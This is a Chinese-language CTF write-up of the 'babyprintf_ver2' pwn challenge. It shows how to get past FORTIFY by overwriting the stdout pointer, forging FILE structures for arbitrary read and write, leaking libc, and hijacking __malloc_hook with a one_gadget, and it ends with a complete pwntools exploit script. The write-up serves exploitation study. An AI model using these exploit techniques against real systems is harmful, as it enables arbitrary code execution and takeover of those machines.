0%

Stdout任意写+Stdout任意读+格式化漏洞中的hook劫持

babyprintf_ver2 复现

1
2
3
4
5
➜  桌面 ./main  
Welcome to babyprintf_v2.0
heap is too dangrous for printf :(
So I change the buffer location to 0x563c5e002010
Have fun!
1
2
3
4
5
6
7
8
9
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fb30593381079dbed29611d4cc5f9c4597b208b8, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

64位,dynamically,开了NX,开了PIE,开了FORTIFY,Full RELRO

FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制

  • 包含%n的格式化字符串不能位于程序内存中的可写地址
  • 当使用位置参数时,必须使用范围内的所有参数,所以如果要使用“%7$x”,你必须同时使用1,2,3,4,5,6
1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // r13
FILE *v4; // r14
char buf; // [rsp+3h] [rbp-35h] BYREF
int i; // [rsp+4h] [rbp-34h]
unsigned __int64 v7; // [rsp+8h] [rbp-30h]

v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
puts("Welcome to babyprintf_v2.0");
puts("heap is too dangrous for printf :(");
__printf_chk(1LL, "So I change the buffer location to %p\n", ptr); /* 绕PIE */
puts("Have fun!");
while ( 1 )
{
i = 0;
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
read(0, &buf, 1uLL);
ptr[i] = buf; /* 栈溢出 */
if ( ptr[i] == 10 )
break;
if ( ++i > 511 ) // 字节限制 512
goto LABEL_6;
}
ptr[i] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk( /* __printf_chk 格式化和打印数据,并进行堆栈检查 */
1LL,
ptr, /* 格式化漏洞 */
3735928559LL, /* 填入了许多垃圾数据 */
3735928559LL,
3735928559LL,
3735928559LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL);
}
}

有栈溢出,可以从溢出 .data 到 .bss

有格式化字符串漏洞,先看看stack中的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> stack 50
00:0000│ rsp 0x7ffec7539a30 ◂— 0xffffffffdeadbeef
... ↓ 49 skipped
32:01900x7ffec7539bc0 ◂— 0xffffffffdeadbeef
... ↓ 9 skipped
3c:01e0│ rbp-3 0x7ffec7539c10 ◂— 0x80a539c3e
3d:01e80x7ffec7539c18 ◂— 0xbc0cd56dea1a9800
3e:01f0│ 0x7ffec7539c20 ◂— 0x0
3f:01f8│ 0x7ffec7539c28 —▸ 0x563924a00a50 ◂— push r15
40:02000x7ffec7539c30 —▸ 0x563924a00940 ◂— xor ebp, ebp
41:02080x7ffec7539c38 —▸ 0x7ffec7539d20 ◂— 0x1
42:02100x7ffec7539c40 ◂— 0x0
43:02180x7ffec7539c48 —▸ 0x7f72569c2840 (__libc_start_main+240) ◂— mov edi, eax
44:02200x7ffec7539c50 ◂— 0x1
45:02280x7ffec7539c58 —▸ 0x7ffec7539d28 —▸ 0x7ffec753a39b ◂— 0x54006e69616d2f2e /* './main' */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x0
RBX 0x563924c02010 ◂— 'aaaaaaaa'
RCX 0xdeadbeef
RDX 0xdeadbeef
RDI 0x1
RSI 0x563924c02010 ◂— 'aaaaaaaa'
R8 0xdeadbeef
R9 0xdeadbeef
R10 0x0
R11 0x246
R12 0xdeadbeef
R13 0x7f7256d656e0 (_IO_file_jumps) ◂— 0x0
R14 0x7f7256d67620 (_IO_2_1_stdout_) ◂— 0xfbad2887
R15 0x0
RBP 0x7ffec7539c13 ◂— 0x1a9800000000080a
*RSP 0x7ffec7539a30 ◂— 0xffffffffdeadbeef
*RIP 0x563924a00921 ◂— call 0x563924a006a0

初步计算得知偏移为“73”,但程序开了FORTIFY,只能另寻他路

入侵思路

FORTIFY阻止了格式化字符串,这时就需要 stdout 任意读,这就需要劫持或伪造 stdout 的FILE结构体(看起来好像难以完成,似乎不可能控制该FILE结构体)

但在栈中有办法可以伪造FILE,程序使用了“stdout”关键字(并且没有初始化),所以“stdout”会出现在 .bss 中,可以通过覆盖“stdout”的值来伪造FILE结构体的位置

1
2
.data:0000000000202010 ptr             db 'hello world',0     
.bss:0000000000202020 stdout dq ?

先绕开PIE:

1
2
3
4
5
p.recvuntil('So I change the buffer location to ')
leak_addr=eval(p.recvuntil('\n')[:-1])
pro_base=leak_addr-2105360
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

stdout 任意读需要的条件是:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1
  • 设置 _IO_write_base 指向想要泄露的地方
  • 设置 _IO_write_ptr 指向泄露结束的地址
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING(即 _flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr (非必须)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p* & *stdout
$1 = {
_flags = -72537977,
_IO_read_ptr = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f4fa3d276a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f4fa3d268e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f4fa3d28780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f4fa3d267a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}
1
2
3
4
pwndbg> telescope 0x00007f9e532ca620
00:00000x7f9e532ca620 (_IO_2_1_stdout_) ◂— 0xfbad2887 /* _flags */
01:00080x7f9e532ca628 (_IO_2_1_stdout_+8) —▸ 0x7f9e532ca6a3 (_IO_2_1_stdout_+131) ◂— 0x2cb780000000000a /* '\n' */
... ↓ 6 skipped

_flag 的伪造相对麻烦一点,其他的伪造只要知道程序基地址就行

1
2
3
4
5
6
7
8
9
10
11
In [1]: 0xfbad2887&~0x8|0x800 
Out[1]: 4222429319

In [2]: hex(4222429319) /* 就是_flag本身,_flag的基础检查已经完成 */
Out[2]: '0xfbad2887'

In [3]: 0xfbad2887|0x8000 /* 这里的"|0x8000"是为了满足printf的条件(后续进行分析) */
Out[3]: 4222462087

In [4]: hex(4222462087) /* _flag完成计算 */
Out[4]: '0xfbada887'

下面这个函数是我从网上抄的,还挺好用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

fake_IO_addr=pro_base+0x202028
fake_IO = FILE(_flags = 0xfbada887,_IO_write_base = pro_base + 0x201FE0,_IO_write_ptr = pro_base+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pro_base + 0x201FE0)

"""
设置_IO_write_base指向想要泄露的地方
设置_IO_write_ptr指向泄露结束的地址
设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING
设置_IO_write_end等于_IO_write_ptr(非必须)
"""

payload = '\x00'*0x10
payload += p64(fake_IO_addr)
payload += fake_IO
p.sendline(payload)

整体思路就是覆盖 .bss 上的“stdout”为一个可控地址,然后在这里写入 fake_IO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x55ff2a202010
00:0000│ rbx r10 0x55ff2a202010 ◂— 0x0
01:00080x55ff2a202018 ◂— 0x0
02:00100x55ff2a202020 (stdout) —▸ 0x55ff2a202028 ◂— 0xfbada887
03:0018│ r14 0x55ff2a202028 ◂— 0xfbada887
/* _flags */
04:00200x55ff2a202030 ◂— 0x0
/* _IO_read_ptr */
05:00280x55ff2a202038 —▸ 0x55ff2a201fe0 —▸ 0x7f4796932750 (__libc_start_main) ◂— push r14
/* _IO_read_end */
06:00300x55ff2a202040 ◂— 0x0
/* _IO_read_base */
07:00380x55ff2a202048 —▸ 0x55ff2a201fe0 —▸ 0x7f4796932750 (__libc_start_main) ◂— push r14
/* _IO_write_base */
08:00400x55ff2a202050 —▸ 0x55ff2a201fe8 ◂— 0x0
/* _IO_write_ptr */
1
2
3
4
5
6
p.sendline("y")
p.recvuntil("rewrite vtable is not permitted!\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-132944
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

获取了基础信息,就需要用 stdout 任意写来获取shell了,stdout 任意写的条件是:

  • 设置 _IO_write_ptr 指向 write_start (目标地址)
  • 设置 _IO_write_end 指向 write_end (目标地址结束)

注意:接下来的 stdout 任意写还是基于printf,所以“_flag|0x8000”这一步必须存在

1
2
3
4
5
6
7
fake_IO_write = FILE(_flags = 0xfbada887,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0)
payload = p64(one_gadget) + p64(0)
payload += p64(pro_base+0x202028)
payload += fake_IO_write

p.sendline(payload)
p.sendline('%n')

程序会把输入的数据覆盖到 _IO_write_ptr(mallo_hook),也就是把进行了 malloc_hook 劫持

其中 %n 可触发malloc的原因是在于: __readonly_area 会通过 fopen 打开 maps 文件来读取内容来判断地址段是否可写,而 fopen 会调用 malloc 函数申请空间,因此触发

printf 函数中会调用 _IO_acquire_lock_clear_flags2 (stdout) 来获取 lock 从而继续程序,如果没有 _IO_USER_LOCK 标志的话,程序会一直在循环,而 _IO_USER_LOCK 定义为 #define _IO_USER_LOCK 0x8000 ,因此需要设置 flag|=0x8000 才能够使exp顺利进行

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p=process('./main')
elf=ELF('./main')
libc=ELF('./libc-2.23.so')
context.arch='AMD64'

#gdb.attach(p)

def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

p.recvuntil('So I change the buffer location to ')
leak_addr=eval(p.recvuntil('\n')[:-1])
pro_base=leak_addr-2105360
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

fake_IO_addr=pro_base+0x202028
fake_IO = FILE(_flags = 0xfbada887,_IO_write_base = pro_base + 0x201FE0,_IO_write_ptr = pro_base+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pro_base + 0x201FE0)

payload = '\x00'*0x10
payload += p64(fake_IO_addr)
payload += fake_IO
p.sendline(payload)

p.sendline("y")
p.recvuntil("rewrite vtable is not permitted!\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-132944
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadget_list[1] + libc_base

fake_IO_write = FILE(_flags = 0xfbada887,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0)
payload = p64(one_gadget) + p64(0)
payload += p64(pro_base+0x202028)
payload += fake_IO_write

p.sendline(payload)
p.sendline('%n')

p.interactive()

小结:

这就是 IO_pwn 的最后一个内容了,另外还收获了一个很好用的模板